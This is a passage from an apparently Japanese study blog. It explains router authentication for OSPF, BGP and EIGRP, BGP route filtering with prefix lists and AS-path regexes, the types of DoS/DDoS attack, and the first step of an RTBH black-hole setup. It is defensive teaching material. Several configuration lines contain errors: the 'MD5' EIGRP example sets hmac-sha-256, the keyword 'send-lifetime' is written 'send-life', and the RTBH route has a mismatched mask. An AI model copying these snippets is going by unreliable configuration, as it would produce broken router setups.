<span class="line"><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キー番号</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">cryptographic-algorithm</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">hmac-sha-256</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">send-life</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">accept-lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">int</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">g0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">key-chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>▼BGP設定方法</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#認証設定方法（シンプルバージョン）-------------------------------
router bgp AS番号
neighbor 192.0.2.2 password MySecretPassword123

#認証設定方法（キーチェーンを使うバージョン）-----------------------
key chain キーチェイン名
 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026

 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  
router bgp 65001
 neighbor 192.0.2.2 password encrypted-key-chain キーチェイン名
  
#send-lif：このカギを送信時に使う期間
#accept-lifetime:このカギを受信時に使う期間" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#認証設定方法（シンプルバージョン）-------------------------------</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">AS番号</span></span>
<span class="line"><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.2</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">password</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MySecretPassword123</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#認証設定方法（キーチェーンを使うバージョン）-----------------------</span></span>
<span class="line"><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キー番号</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">send-life</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">accept-lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キー番号</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">send-life</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">accept-lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65001</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.2</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">password</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">encrypted-key-chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2">  </span></span>
<span class="line"><span style="color: #88846F">#send-lif：このカギを送信時に使う期間</span></span>
<span class="line"><span style="color: #88846F">#accept-lifetime:このカギを受信時に使う期間</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>▼EIGRP設定方法</strong><br>＊EIGRPはキーチェインの設定が必須</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#HMAC-SHA-256バージョン
key chain キーチェイン名
 key 1
  key-string MyEigrpPassword123
  cryptographic-algorithm hmac-sha-256

int g0/0
 ip authentication mode eigrp 100 hmac-sha-256 キーチェイン名
 
#MD5バージョン
key chain キーチェイン名
 key 1
  key-string MyEigrpPassword123
  cryptographic-algorithm hmac-sha-256
  
int g0/0
 ip authentication mode eigrp 100 md5
 ip authentication key-chain eigrp 100 キーチェイン名" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#HMAC-SHA-256バージョン</span></span>
<span class="line"><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MyEigrpPassword123</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">cryptographic-algorithm</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">hmac-sha-256</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">int</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">g0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">mode</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">eigrp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">100</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">hmac-sha-256</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #88846F">#MD5バージョン</span></span>
<span class="line"><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MyEigrpPassword123</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">cryptographic-algorithm</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">hmac-sha-256</span></span>
<span class="line"><span style="color: #F8F8F2">  </span></span>
<span class="line"><span style="color: #A6E22E">int</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">g0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">mode</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">eigrp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">100</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">md5</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">key-chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">eigrp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">100</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc25">p.5 BGPで経路フィルタリングをするには？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="927" height="94" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-10.png" alt="" class="wp-image-8093" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-10.png 927w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-10-300x30.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-10-759x77.png 759w" sizes="(max-width: 927px) 100vw, 927px" /></figure>



<p class="wp-block-paragraph">本文中に、不正経路の混入を防ぐためにフィルタリング設定を行っている旨の記述がある。これを実際にどうやっているのかを見ていこう！</p>



<p class="wp-block-paragraph"><strong>１．アドレスブロックの偽装を防ぐ手法</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="ip prefix-list プレフィックス名 seq シーケンス番号 permit IPアドレス/数字

router bgp AS番号
 neighbor ピアIP prefix-list プレフィックス名 in" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">プレフィックス名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">seq</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">シーケンス番号</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">IPアドレス/数字</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">AS番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ピアIP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">プレフィックス名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">in</span></span></code></pre></div>



<p class="wp-block-paragraph">上記のコマンドを実施することによって、接続先ASが持つプレフィックスのみを取得できる。これによって、対向ルータから8.8.8.8などの経路が送られてきてもdropできる。</p>



<p class="wp-block-paragraph"><strong>２．AS番号の偽装を防ぐ手法</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="ip as-path access-list ACL名 permit 正規表現

router bgp AS番号
 neighbor ピアIP filter-list ACL名 in" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">as-path</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">access-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ACL名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">正規表現</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">AS番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ピアIP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">filter-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ACL名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">in</span></span></code></pre></div>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>記号</strong></td><td><strong>意味・役割</strong></td><td><strong>例と解説</strong></td></tr></thead><tbody><tr><td><strong><code>^</code></strong></td><td><strong>行の先頭</strong>（最初のAS）</td><td><code>^65002</code> ＝ 隣接（直前）のASが 65002 である</td></tr><tr><td><strong><code>$</code></strong></td><td><strong>行の末尾</strong>（起点・発生元のAS）</td><td><code>65002$</code> ＝ 経路を発生させた起点ASが 65002 である</td></tr><tr><td><strong><code>_</code></strong></td><td><strong>区切り文字</strong>（スペース、カンマ、行頭、行末など）</td><td><code>_65002_</code> ＝ 途中に AS 65002 が含まれている</td></tr><tr><td><strong><code>.</code></strong></td><td><strong>任意の1文字</strong></td><td><code>.</code> ＝ 数字や記号なんでも1文字</td></tr><tr><td><strong><code>*</code></strong></td><td><strong>直前の文字の0回以上の繰り返し</strong></td><td><code>.*</code> ＝ 任意の文字列（何があってもOK）</td></tr><tr><td><strong><code>+</code></strong></td><td><strong>直前の文字の1回以上の繰り返し</strong></td><td><code>65002+</code> ＝ 65002 が1回以上連続（AS PATH Prependの検知）</td></tr><tr><td>100 200 300</td><td>AS-PATHは左に追加されていく。つまり、300が発信源で200→100を経由して辿りついたルートだとわかる。</td><td></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>3. より高度な現代のフィルタリング（RPKI・ROA）</strong></p>



<p class="wp-block-paragraph">手動のリスト（Prefix-list）更新だと追いつかない大規模なインターネット（IX等）では、RPKI（Resource Public Key Infrastructure）という暗号署名データベースを使った自動フィルタリングも広く使われる。<br><strong>仕組み：</strong> 「このIPアドレスブロックは本当にこのAS番号の所有者か？」をIRR（Internet Routing Registry）やRPKIで自動照合し、偽装された不一致経路（Invalid）をルータが自動でドロップする。</p>



<h3 class="wp-block-heading"><span id="toc26">p.6 DDoS攻撃とは？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="516" height="54" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-11.png" alt="" class="wp-image-8097" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-11.png 516w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-11-300x31.png 300w" sizes="(max-width: 516px) 100vw, 516px" /></figure>



<p class="wp-block-paragraph">Q.キャッシュサーバーなどを勉強していると必ずと言っていいほど、DoS、DDoS攻撃を耳にする。なんとなく、サービスを妨害する攻撃なのかなぁというニュアンスはわかっても、いまいちピンとこない。。いったい何なの？<br>A.サービスの提供を妨害・停止させる攻撃全般をDoS、DDoS攻撃という。中にはアプリケーション層の攻撃のみをDoSとしてとらえてしまう人もいるが、<span class="blue">レイヤー（層）に関係なく、サービスの提供を妨害・停止させる攻撃全般をDoS/DDoS攻撃</span>という。アプリケーション層（L7）だけでなく、トランスポート層（L4）の SYN フラッディングや、ネットワーク層（L3）の ICMP フラッディングもすべて立派な DoS / DDoS 攻撃になる。<br><strong>▼DoSとDDoSの違い<br></strong>DoS（Denial of Service）： 1台の端末から攻撃を仕掛け、サービスを不能（拒否状態）にする。DDoS（Distributed Denial of Service）： 攻撃者がマルウェアなどで乗っ取った複数台（ボットネット）から一斉に攻撃を仕掛ける。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>レイヤー</strong></td><td><strong>攻撃手法の例</strong></td><td><strong>パンクさせる対象（リソース）</strong></td><td><strong>DoS / DDoSになるか？</strong></td></tr></thead><tbody><tr><td><strong>L3（ネットワーク層）</strong></td><td>ICMP フラッディング（Pingの大量送信）</td><td>ネットワーク回線の帯域、ルーターの処理能力</td><td><strong>なる</strong>（帯域圧迫型）</td></tr><tr><td><strong>L4（トランスポート層）</strong></td><td>SYN フラッディング、UDP フラッディング</td><td>サーバーのコネクションテーブル、メモリ</td><td><strong>なる</strong>（リソース枯渇型）</td></tr><tr><td><strong>L7（アプリケーション層）</strong></td><td>HTTP GET/POST フラッディング、DNSアンプ</td><td>Web/DBサーバーのCPU、アプリケーション</td><td><strong>なる</strong>（高負荷処理型）</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc27">p.6 Destination Address RTBH Filteringとは？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="922" height="152" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-12.png" alt="" class="wp-image-8098" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-12.png 922w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-12-300x49.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-12-764x126.png 764w" sizes="(max-width: 922px) 100vw, 922px" /></figure>



<p class="wp-block-paragraph">Q.Destination Address RTBH Filteringってなに？<br>A.Destination Address RTBH Filteringは通常、RTBHやブラックホールルーティング、D-RTBHと呼ばれたりする。ちなみにRTBHはRemote Triggered Black Holeの略。<br><strong>目的：<br></strong>　DDoS攻撃の対象となっている「攻撃を受けているサーバー（被害者）」宛ての通信を、<span class="blue">ネットワークの入り口（エッジルーター）</span>で強制的に破棄（Null0へ転送）し、ISP全体の回線や内部ルーターがダウンする連鎖障害を防ぐことです。<br>＊自社でBGP運用している場合は、自社の最前線ルータでRTBHを動作させる。一方、ISPのアクセス回線を使っている場合は、ISP側が破棄してくれる。</p>



<h4 class="wp-block-heading"><span id="toc28">▼RTBHのフロー</span></h4>



<p class="wp-block-paragraph"><strong>０．事前準備（DoS/DDoS発生前）<br></strong>　ネットワーク内の全ルータで<span class="blue">ダミーIP（例：192.0.2.1）を同一</span>にして、かつそのネクストホップを<span class="blue">Nullに設定</span>したスタティックルートを作成する</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="ip route 192.0.2.1 255.255.255.0 Null" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Null</span></span></code></pre></div>



